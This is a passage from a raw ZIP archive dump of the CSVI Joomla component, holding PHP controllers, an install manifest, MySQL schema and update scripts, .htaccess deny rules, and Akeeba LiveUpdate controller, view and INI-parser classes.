$view->get('DoImport'); } else { $jinput->set('importsession', false); } // Set the output screen switch ($vtype) { case 'cron': $view->setLayout('cron'); break; default: break; } // Show the screen $view->display(); } } ?> PKs>\b%com_csvi/controllers/process.json.phpnuW+Ainput; // Load the appropiate helper file $component = $jinput->get('component'); $users = array(); if ($component) { require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/'.$component.'.php'); $helper = new $component; $users = $helper->getOrderUser(); } echo json_encode($users); } /** * Method Description * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string json encoded values * @since 4.0 */ public function getProduct() { $jinput = JFactory::getApplication()->input; // Load the appropiate helper file $component = $jinput->get('component'); $users = array(); if ($component) { require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/'.$component.'.php'); $helper = new $component; $products = $helper->getOrderProduct(); } echo json_encode($products); } /** * Method Description * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string json encoded values * @since 4.0 */ public function getItemProduct() { $jinput = JFactory::getApplication()->input; // Load the appropiate helper file $component = $jinput->get('component'); $users = array(); if ($component) { require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/'.$component.'.php'); $helper = new $component; $products = $helper->getOrderItemProduct(); } echo json_encode($products); } /** * Load the available sites for XML or HTML export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function loadSites() { $jinput = JFactory::getApplication()->input; $model = $this->getModel('process'); $options = array(); $options[] = JHtml::_('select.option', '', JText::_('COM_CSVI_CHOOSE_WEBSITE')); $sites = $model->getExportSites($jinput->get('exportsite')); foreach ($sites as $site) { $options[] = JHtml::_('select.option', $site, JText::_('COM_CSVI_'.strtoupper($site))); } echo json_encode(JHtml::_('select.genericlist', $options, 'jform[general][export_site]', null, 'value', 'text', $jinput->get('selected'), 'jform_general_export_site')); } /** * Load fields for the custom import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function loadFields() { $jinput = JFactory::getApplication()->input; $availablefields_model = $this->getModel('availablefields'); $result = $availablefields_model->getAvailableFields($jinput->get('template_type'), $jinput->get('component', 'com_csvi'), 'array', $jinput->get('table_name', '', 'word')); echo json_encode($result); } /** * Load the category tree * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string json encoded values * @since 4.0 */ public function loadCategoryTree() { $jinput = JFactory::getApplication()->input; $helper = new Com_VirtueMart(); $options = $helper->getCategoryTree($jinput->get('language')); echo json_encode($options); } /* TO BE FIGURED OUT */ public function loadTables() { $result = CsviHelper::getCustomTables(); array_unshift($result, JText::_('COM_CSVI_SELECT_TABLE_FOR_EXPORT')); echo json_encode($result); } public function getStates() { $model = $this->getModel('import'); $options = array(); $options[] = JHtml::_('select.option', 'none', JText::_('COM_CSVI_ALL_TAX_STATES')); $states = array_merge($options, $model->getStates(JRequest::getCmd('country'))); echo json_encode(JHtml::_('select.genericlist', $states, 'jform[tax][states][]', 'multiple="multiple" size="7"', 'value', 'text', 'none')); } } ?> PKs>\$8||com_csvi/csvi.phpnuW+Ainput; // Make sure we are coming in via raw format $format = $jinput->get('format'); if ($format != 'raw') { $app = JFactory::getApplication(); $uri = JFactory::getURI(); $uri->setVar('format', 'raw'); $app->redirect(JRoute::_($uri->toString())); } // Load the logger require_once (JPATH_COMPONENT_ADMINISTRATOR.'/helpers/log.php'); // Load the general helper require_once (JPATH_COMPONENT_ADMINISTRATOR.'/helpers/csvi.php'); // Define the tmp folder $config = JFactory::getConfig(); $tmp_path = $config->getValue('config.tmp_path'); if (!defined('CSVIPATH_TMP')) define('CSVIPATH_TMP', JPath::clean($tmp_path.'/com_csvi', '/')); if (!defined('CSVIPATH_DEBUG')) define('CSVIPATH_DEBUG', JPath::clean($tmp_path.'/com_csvi/debug', '/')); // Set the global settings require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/settings.php'); $settings = new CsviSettings(); $jinput->set('settings', $settings); // Include dependancies jimport('joomla.application.component.controller'); $jinput->set('task', 'export.export'); // Create the controller $controller = JController::getInstance('csvi'); $controller->execute($jinput->get('task')); $controller->redirect();PKs>\UC  com_csvi/csvi.xmlnuW+A CSVI 1 december 2013 RolandD Cyber Produksi contact@csvimproved.com http://www.csvimproved.com/ Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved. GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html 5.15 COM_CSVI_XML_DESCRIPTION csvi.php controllers models views script.php en-GB/en-GB.com_csvi.ini sql/install/mysql/install.mysql.utf8.sql sql/updates/mysql COM_CSVI COM_CSVI_DASHBOARD COM_CSVI_PROCESS COM_CSVI_REPLACEMENTS COM_CSVI_LOG COM_CSVI_MAINTENANCE COM_CSVI_AVAILABLEFIELDS COM_CSVI_SETTINGS COM_CSVI_TEMPLATETYPES COM_CSVI_ABOUT changelog.txt config.xml csvi.php controller.php index.html assets controllers helpers install liveupdate models sql tables views en-GB/en-GB.com_csvi.ini en-GB/en-GB.com_csvi.sys.ini http://www.csvimproved.com/csvi.xml PKs>\ ff"com_csvi/sql/updates/mysql/4.1.sqlnuW+AALTER TABLE `#__csvi_replacements` ADD COLUMN `multivalue` ENUM('0','1') NOT NULL AFTER `replacetext`;PKs>\SF#com_csvi/sql/updates/mysql/5.11.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__csvi_mapheaders` ( `id` INT(10) NOT NULL AUTO_INCREMENT, `map_id` INT(10) NOT NULL, `csvheader` VARCHAR(100) NOT NULL, `templateheader` VARCHAR(100) NOT NULL, PRIMARY KEY (`id`) ) COMMENT='Contains the mapped fields'; CREATE TABLE IF NOT EXISTS `#__csvi_maps` ( `id` INT(10) NOT NULL AUTO_INCREMENT, `name` VARCHAR(100) NULL DEFAULT NULL, `mapfile` VARCHAR(100) NULL DEFAULT NULL, `action` VARCHAR(100) NULL DEFAULT NULL, `component` VARCHAR(100) NULL DEFAULT NULL, `operation` VARCHAR(100) NULL DEFAULT NULL, `checked_out` INT(10) NULL DEFAULT NULL, `checked_out_time` DATETIME NULL DEFAULT NULL, PRIMARY KEY (`id`) ) COMMENT='Holds map configurations'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the template field', `template_id` int(11) unsigned NOT NULL DEFAULT '0' COMMENT 'The template ID', `ordering` int(11) unsigned NOT NULL DEFAULT '0' COMMENT 'The order of the field', `field_name` varchar(255) NOT NULL COMMENT 'Name for the field', `column_header` varchar(255) NOT NULL DEFAULT '' COMMENT 'Header for the column', `default_value` varchar(255) NOT NULL DEFAULT '' COMMENT 'Default value for the field', `process` enum('0','1') NOT NULL DEFAULT '1' COMMENT 'Process the field', `combine` ENUM('0','1') NOT NULL DEFAULT '0' COMMENT 'Combine the field', `sort` enum('0','1') NOT NULL DEFAULT '0' COMMENT 'Sort the field', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds the fields for a CSVI template'; CREATE TABLE IF NOT EXISTS `#__csvi_related_categories` ( `product_sku` VARCHAR(64) NOT NULL, `related_cat` TEXT NOT NULL ) COMMENT='Related categories import for CSVI'; ALTER TABLE `#__csvi_replacements` ADD COLUMN `ordering` INT(11) NOT NULL DEFAULT '0' AFTER `method`; ALTER TABLE `#__csvi_template_fields` ADD COLUMN `file_field_name` VARCHAR(255) NOT NULL DEFAULT '' COMMENT 'Name for the field from the file' AFTER `field_name`; ALTER TABLE `#__csvi_template_fields` ADD COLUMN `template_field_name` VARCHAR(255) NOT NULL DEFAULT '' COMMENT 'Name for the field from the template' AFTER `file_field_name`; ALTER TABLE `#__csvi_template_fields` ADD COLUMN `cdata` ENUM('0','1') NOT NULL DEFAULT '1' COMMENT 'Use the CDATA tag' AFTER `sort`; ALTER TABLE `#__csvi_template_fields` ADD COLUMN `combine_char` VARCHAR(5) NOT NULL DEFAULT '' COMMENT 'The character(s) to combine the fields' AFTER `combine`; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields_combine` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the cross reference', `field_id` VARCHAR(255) NOT NULL COMMENT 'ID of the field', `combine_id` VARCHAR(255) NOT NULL COMMENT 'ID of the field to combine', PRIMARY KEY (`id`) ) COMMENT='Holds the replacement cross reference for a CSVI template field'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields_replacement` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the cross reference', `field_id` VARCHAR(255) NOT NULL COMMENT 'ID of the field', `replace_id` VARCHAR(255) NOT NULL COMMENT 'ID of the replacement rule', PRIMARY KEY (`id`) ) COMMENT='Holds the replacement cross reference for a CSVI template field'; CREATE TABLE IF NOT EXISTS `#__csvi_template_settings` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the saved setting', `name` VARCHAR(255) NOT NULL COMMENT 'Name for the saved setting', `settings` TEXT NOT NULL COMMENT 'The actual settings', `process` ENUM('import','export') NOT NULL DEFAULT 'import' COMMENT 'The type of template', PRIMARY KEY (`id`) ) COMMENT='Stores the template settings for CSVI'; ALTER TABLE `#__csvi_template_types` ADD COLUMN `published` TINYINT(1) NOT NULL DEFAULT '1' AFTER `options`, ADD COLUMN `ordering` INT(11) NULL DEFAULT NULL AFTER `published`; ALTER TABLE `#__csvi_template_settings` ADD COLUMN `process` ENUM('import','export') NOT NULL DEFAULT 'import' COMMENT 'The type of template' AFTER `settings`;PKs>\$com_csvi/sql/updates/mysql/4.5.1.sqlnuW+APKs>\"com_csvi/sql/updates/mysql/4.4.sqlnuW+APKs>\)$com_csvi/sql/updates/mysql/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_csvi/sql/updates/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_csvi/sql/install/.htaccessnuW+A Order allow,deny Deny from all PKs>\)$com_csvi/sql/install/mysql/.htaccessnuW+A Order allow,deny Deny from all PKs>\o>:":"1com_csvi/sql/install/mysql/install.mysql.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__csvi_available_fields` ( `id` int(11) NOT NULL AUTO_INCREMENT, `csvi_name` varchar(255) NOT NULL, `component_name` varchar(55) NOT NULL, `component_table` varchar(55) NOT NULL, `component` varchar(55) NOT NULL, `isprimary` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `component_name_table` (`component_name`,`component_table`,`component`) ) CHARSET=utf8 COMMENT='Available fields for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_currency` ( `currency_id` tinyint(4) NOT NULL AUTO_INCREMENT, `currency_code` varchar(3) DEFAULT NULL, `currency_rate` varchar(55) DEFAULT NULL, PRIMARY KEY (`currency_id`), UNIQUE KEY `currency_code` (`currency_code`) ) CHARSET=utf8 COMMENT='Curriencies and exchange rates for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_icecat_index` ( `path` varchar(100) DEFAULT NULL, `product_id` int(2) DEFAULT NULL, `updated` int(14) DEFAULT NULL, `quality` varchar(6) DEFAULT NULL, `supplier_id` int(1) DEFAULT NULL, `prod_id` varchar(16) DEFAULT NULL, `catid` int(3) DEFAULT NULL, `m_prod_id` varchar(10) DEFAULT NULL, `ean_upc` varchar(10) DEFAULT NULL, `on_market` int(1) DEFAULT NULL, `country_market` varchar(10) DEFAULT NULL, `model_name` varchar(26) DEFAULT NULL, `product_view` int(5) DEFAULT NULL, `high_pic` varchar(51) DEFAULT NULL, `high_pic_size` int(5) DEFAULT NULL, `high_pic_width` int(3) DEFAULT NULL, `high_pic_height` int(3) DEFAULT NULL, `m_supplier_id` int(3) DEFAULT NULL, `m_supplier_name` varchar(51) DEFAULT NULL, KEY `product_mpn` (`prod_id`), KEY `manufacturer_name` (`supplier_id`) ) CHARSET=utf8 COMMENT='ICEcat index data for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_icecat_suppliers` ( `supplier_id` int(11) unsigned NOT NULL, `supplier_name` varchar(255) NOT NULL, UNIQUE KEY `Unique supplier` (`supplier_id`,`supplier_name`), KEY `Supplier name` (`supplier_name`) ) CHARSET=utf8 COMMENT='ICEcat supplier data for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_logs` ( `id` int(11) NOT NULL AUTO_INCREMENT, `userid` int(11) NOT NULL, `logstamp` datetime NOT NULL, `action` varchar(255) NOT NULL, `action_type` varchar(255) NOT NULL DEFAULT '', `template_name` varchar(255) DEFAULT NULL, `records` int(11) NOT NULL, `run_id` int(11) DEFAULT NULL, `file_name` varchar(255) DEFAULT NULL, `run_cancelled` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Log results for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_log_details` ( `id` int(11) NOT NULL AUTO_INCREMENT, `log_id` int(11) NOT NULL, `line` int(11) NOT NULL, `description` text NOT NULL, `result` varchar(45) NOT NULL, `status` varchar(45) NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Log details for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_related_products` ( `product_sku` varchar(64) NOT NULL, `related_sku` text NOT NULL ) CHARSET=utf8 COMMENT='Related products import for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_related_categories` ( `product_sku` varchar(64) NOT NULL, `related_cat` text NOT NULL ) CHARSET=utf8 COMMENT='Related categories import for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_replacements` ( `id` int(10) NOT NULL AUTO_INCREMENT, `name` varchar(100) NOT NULL, `findtext` text NOT NULL, `replacetext` text NOT NULL, `multivalue` enum('0','1') NOT NULL, `method` enum('text','regex') NOT NULL DEFAULT 'text', `ordering` int(11) NOT NULL DEFAULT '0', `checked_out` int(11) unsigned DEFAULT '0', `checked_out_time` datetime DEFAULT '0000-00-00 00:00:00', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Replacement rules for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_settings` ( `id` int(11) NOT NULL AUTO_INCREMENT, `params` text NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Configuration values for CSVI'; INSERT IGNORE INTO `#__csvi_settings` VALUES (1, ''); INSERT IGNORE INTO `#__csvi_settings` VALUES (2, ''); CREATE TABLE IF NOT EXISTS `#__csvi_template_fields` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the template field', `template_id` int(11) unsigned NOT NULL DEFAULT '0' COMMENT 'The template ID', `ordering` int(11) unsigned NOT NULL DEFAULT '0' COMMENT 'The order of the field', `field_name` varchar(255) NOT NULL COMMENT 'Name for the field', `file_field_name` varchar(255) NOT NULL COMMENT 'Name for the field from the file', `template_field_name` varchar(255) NOT NULL DEFAULT '' COMMENT 'Name for the field from the template', `column_header` varchar(255) NOT NULL DEFAULT '' COMMENT 'Header for the column', `default_value` varchar(255) NOT NULL DEFAULT '' COMMENT 'Default value for the field', `process` enum('0','1') NOT NULL DEFAULT '1' COMMENT 'Process the field', `combine` ENUM('0','1') NOT NULL DEFAULT '0' COMMENT 'Combine the field', `combine_char` varchar(5) NOT NULL DEFAULT '' COMMENT 'The character(s) to combine the fields', `sort` enum('0','1') NOT NULL DEFAULT '0' COMMENT 'Sort the field', `cdata` enum('0','1') NOT NULL DEFAULT '1' COMMENT 'Use the CDATA tag', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds the fields for a CSVI template'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields_combine` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the cross reference', `field_id` varchar(255) NOT NULL COMMENT 'ID of the field', `combine_id` varchar(255) NOT NULL COMMENT 'ID of the combine rule', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds the combine cross reference for a CSVI template field'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields_replacement` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the cross reference', `field_id` varchar(255) NOT NULL COMMENT 'ID of the field', `replace_id` varchar(255) NOT NULL COMMENT 'ID of the replacement rule', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds the replacement cross reference for a CSVI template field'; CREATE TABLE IF NOT EXISTS `#__csvi_template_settings` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the saved setting', `name` varchar(255) NOT NULL COMMENT 'Name for the saved setting', `settings` text NOT NULL COMMENT 'The actual settings', `process` enum('import','export') NOT NULL DEFAULT 'import' COMMENT 'The type of template', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Stores the template settings for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_tables` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `checked_out` int(10) unsigned NOT NULL DEFAULT '0', `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `template_type_name` varchar(55) NOT NULL, `template_table` varchar(55) NOT NULL, `component` varchar(55) NOT NULL, `indexed` int(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `type_name` (`template_type_name`,`template_table`,`component`) ) CHARSET=utf8 COMMENT='Template tables used per template type for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_types` ( `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, `checked_out` INT(10) UNSIGNED NOT NULL DEFAULT '0', `checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `template_type_name` VARCHAR(55) NOT NULL, `template_type` VARCHAR(55) NOT NULL, `component` VARCHAR(55) NOT NULL COMMENT 'Name of the component', `url` VARCHAR(100) NULL DEFAULT NULL COMMENT 'The URL of the page the import is for', `options` VARCHAR(255) NOT NULL DEFAULT 'fields' COMMENT 'The template pages to show for the template type', `published` TINYINT(1) NOT NULL DEFAULT '1', `ordering` INT(11) NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `type_name` (`template_type_name`,`template_type`,`component`) ) CHARSET=utf8 COMMENT='Template types for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_maps` ( `id` INT(10) NOT NULL AUTO_INCREMENT, `name` VARCHAR(100) NULL DEFAULT NULL, `mapfile` VARCHAR(100) NULL DEFAULT NULL, `action` VARCHAR(100) NULL DEFAULT NULL, `component` VARCHAR(100) NULL DEFAULT NULL, `operation` VARCHAR(100) NULL DEFAULT NULL, `checked_out` INT(10) NULL DEFAULT NULL, `checked_out_time` DATETIME NULL DEFAULT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds map configurations'; CREATE TABLE IF NOT EXISTS `#__csvi_mapheaders` ( `id` INT(10) NOT NULL AUTO_INCREMENT, `map_id` INT(10) NOT NULL, `csvheader` VARCHAR(100) NOT NULL, `templateheader` VARCHAR(100) NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds map field mapping'; PKs>\)com_csvi/sql/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_csvi/liveupdate/.htaccessnuW+A Order allow,deny Deny from all PKs>\bS)com_csvi/liveupdate/classes/inihelper.phpnuW+A */ defined('_JEXEC') or die(); /** * A smart INI file parser with reproducible behaviour among different PHP versions */ class LiveUpdateINIHelper { /** * Parse an INI file and return an associative array. Since PHP versions before * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to * overcome this obstacle. * @param string $file The file to process * @param bool $process_sections True to also process INI sections * @return array An associative array of sections, keys and values */ public static function parse_ini_file( $file, $process_sections, $rawdata = false ) { if($rawdata) { return self::parse_ini_file_php($file, $process_sections, $rawdata); } else { if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) ) { if( function_exists('parse_ini_file') ) { return parse_ini_file($file, $process_sections); } else { return self::parse_ini_file_php($file, $process_sections); } } else { return self::parse_ini_file_php($file, $process_sections, $rawdata); } } } /** * A PHP based INI file parser. * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on * the parse_ini_file page on http://gr.php.net/parse_ini_file * @param string $file Filename to process * @param bool $process_sections True to also process INI sections * @param bool $rawdata If true, the $file contains raw INI data, not a filename * @return array An associative array of sections, keys and values */ static function parse_ini_file_php($file, $process_sections = false, $rawdata = false) { $process_sections = ($process_sections !== true) ? false : true; if(!$rawdata) { $ini = file($file); } else { $file = str_replace("\r","",$file); $ini = explode("\n", $file); } if (count($ini) == 0) {return array();} $sections = array(); $values = array(); $result = array(); $globals = array(); $i = 0; foreach ($ini as $line) { $line = trim($line); $line = str_replace("\t", " ", $line); // Comments if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;} // Sections if ($line{0} == '[') { $tmp = explode(']', $line); $sections[] = trim(substr($tmp[0], 1)); $i++; continue; } // Key-value pair list($key, $value) = explode('=', $line, 2); $key = trim($key); $value = trim($value); if (strstr($value, ";")) { $tmp = explode(';', $value); if (count($tmp) == 2) { if ((($value{0} != '"') && ($value{0} != "'")) || preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) || preg_match("/^'.*'\\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){ $value = $tmp[0]; } } else { if ($value{0} == '"') { $value = preg_replace('/^"(.*)".*/', '$1', $value); } elseif ($value{0} == "'") { $value = preg_replace("/^'(.*)'.*/", '$1', $value); } else { $value = $tmp[0]; } } } $value = trim($value); $value = trim($value, "'\""); if ($i == 0) { if (substr($line, -1, 2) == '[]') { $globals[$key][] = $value; } else { $globals[$key] = $value; } } else { if (substr($line, -1, 2) == '[]') { $values[$i-1][$key][] = $value; } else { $values[$i-1][$key] = $value; } } } for($j = 0; $j < $i; $j++) { if ($process_sections === true) { if( isset($sections[$j]) && isset($values[$j]) ) $result[$sections[$j]] = $values[$j]; } else { if( isset($values[$j]) ) $result[] = $values[$j]; } } return $result + $globals; } }PKs>\*com_csvi/liveupdate/classes/controller.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.controller'); if(!class_exists('JoomlaSucksController')) { if(interface_exists('JController')) { abstract class JoomlaSucksController extends JControllerLegacy {} } else { class JoomlaSucksController extends JController {} } } /** * The Live Update MVC controller */ class LiveUpdateController extends JoomlaSucksController { /** * Object contructor * @param array $config * * @return LiveUpdateController */ public function __construct($config = array()) { parent::__construct(); $this->registerDefaultTask('overview'); } /** * Runs the overview page task */ public function overview() { $this->display(); } /** * Starts the update procedure. If the FTP credentials are required, it asks for them. */ public function startupdate() { $updateInfo = LiveUpdate::getUpdateInformation(); if($updateInfo->stability != 'stable') { $skipNag = JRequest::getBool('skipnag', false); if(!$skipNag) { $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=nagscreen'); $this->redirect(); } } $ftp = $this->setCredentialsFromRequest('ftp'); if($ftp === true) { // The user needs to supply the FTP credentials $this->display(); } else { // No FTP credentials required; proceed with the download $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); $this->redirect(); } } /** * Download the update package */ public function download() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->download(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Download successful. Let's extract the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } $this->setRedirect($url); } $this->redirect(); } public function extract() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->extract(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_EXTRACT_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Extract successful. Let's install the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } // Do we have SRP installed yet? $app = JFactory::getApplication(); $jResponse = $app->triggerEvent('onSRPEnabled'); $status = false; if(!empty($jResponse)) { $status = false; foreach($jResponse as $response) { $status = $status || $response; } } // SRP enabled, use it if($status) { $return = $url; $url = $model->getSRPURL($return); if(!$url) { $url = $return; } } $this->setRedirect($url); } $this->redirect(); } public function install() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->install(); if(!$result) { // Installation failed $model->cleanup(); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview'); $this->redirect(); } else { // Installation successful. Show the installation message. $cache = JFactory::getCache('mod_menu'); $cache->clean(); $this->display(); } } public function cleanup() { // Perform the cleanup $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $model->cleanup(); // Force reload update information $dummy = LiveUpdate::getUpdateInformation(true); die('OK'); } /** * Displays the current view * @param bool $cachable Ignored! */ public final function display($cachable = false, $urlparams = false) { $viewLayout = JRequest::getCmd( 'layout', 'default' ); $view = $this->getThisView(); // Get/Create the model $model = $this->getThisModel(); $view->setModel($model, true); // Assign the FTP credentials from the request, or return TRUE if they are required jimport('joomla.client.helper'); $ftp = $this->setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Set the layout $view->setLayout($viewLayout); // Display the view $view->display(); } public final function getThisView() { static $view = null; if(is_null($view)) { $basePath = $this->basePath; $tPath = dirname(__FILE__).'/tmpl'; require_once('view.php'); $view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath)); } return $view; } public final function getThisModel() { static $model = null; if(is_null($model)) { require_once('model.php'); $model = new LiveUpdateModel(); $task = $this->task; $model->setState( 'task', $task ); $app = JFactory::getApplication(); $menu = $app->getMenu(); if (is_object( $menu )) { $item = $menu->getActive(); if ($item) { $params = $menu->getParams($item->id); // Set Default State Data $model->setState( 'parameters.menu', $params ); } } } return $model; } private function setCredentialsFromRequest($client) { // Determine wether FTP credentials have been passed along with the current request jimport('joomla.client.helper'); $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials($client, $user, $pass)) { $return = false; } else { $return = JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed'); } } else { // Just determine if the FTP input fields need to be shown $return = !JClientHelper::hasCredentials('ftp'); } return $return; } }PKs>\` $com_csvi/liveupdate/classes/view.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.view'); if(!class_exists('JoomlaSucksView')) { if(interface_exists('JView')) { abstract class JoomlaSucksView extends JViewLegacy {} } else { class JoomlaSucksView extends JView {} } } /** * The Live Update MVC view */ class LiveUpdateView extends JoomlaSucksView { public function display($tpl = null) { // Load the CSS $config = LiveUpdateConfig::getInstance(); $this->assign('config', $config); if(!$config->addMedia()) { // No custom CSS overrides were set; include our own $document = JFactory::getDocument(); $url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css'; $document->addStyleSheet($url, 'text/css'); } $requeryURL = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1'; $this->assign('requeryURL', $requeryURL); $model = $this->getModel(); $extInfo = (object)$config->getExtensionInformation(); JToolBarHelper::title($extInfo->title.' – '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate'); JToolBarHelper::back('JTOOLBAR_BACK', 'index.php?option='.JRequest::getCmd('option','')); switch(JRequest::getCmd('task','default')) { case 'startupdate': $this->setLayout('startupdate'); $this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); break; case 'install': $this->setLayout('install'); // Get data from the model $state = $this->get('State'); // Are there messages to display ? $showMessage = false; if ( is_object($state) ) { $message1 = $state->get('message'); $message2 = $state->get('extension.message'); $showMessage = ( $message1 || $message2 ); } $this->assign('showMessage', $showMessage); $this->assignRef('state', $state); break; case 'nagscreen': $this->setLayout('nagscreen'); $this->assign('updateInfo', LiveUpdate::getUpdateInformation()); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate&skipnag=1'); break; case 'overview': default: $this->setLayout('overview'); $force = JRequest::getInt('force',0); $this->assign('updateInfo', LiveUpdate::getUpdateInformation($force)); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate'); $needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization()); $this->assign('needsAuth', $needsAuth); break; } parent::display($tpl); } } PKs>\|q.com_csvi/liveupdate/classes/abstractconfig.phpnuW+A */ defined('_JEXEC') or die(); /** * This is the base class inherited by the config.php file in LiveUpdate's root. * You may override it non-final members to customise its behaviour. * @author Nicholas K. Dionysopoulos * */ abstract class LiveUpdateAbstractConfig extends JObject { /** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */ protected $_extensionName = 'com_foobar'; /** @var 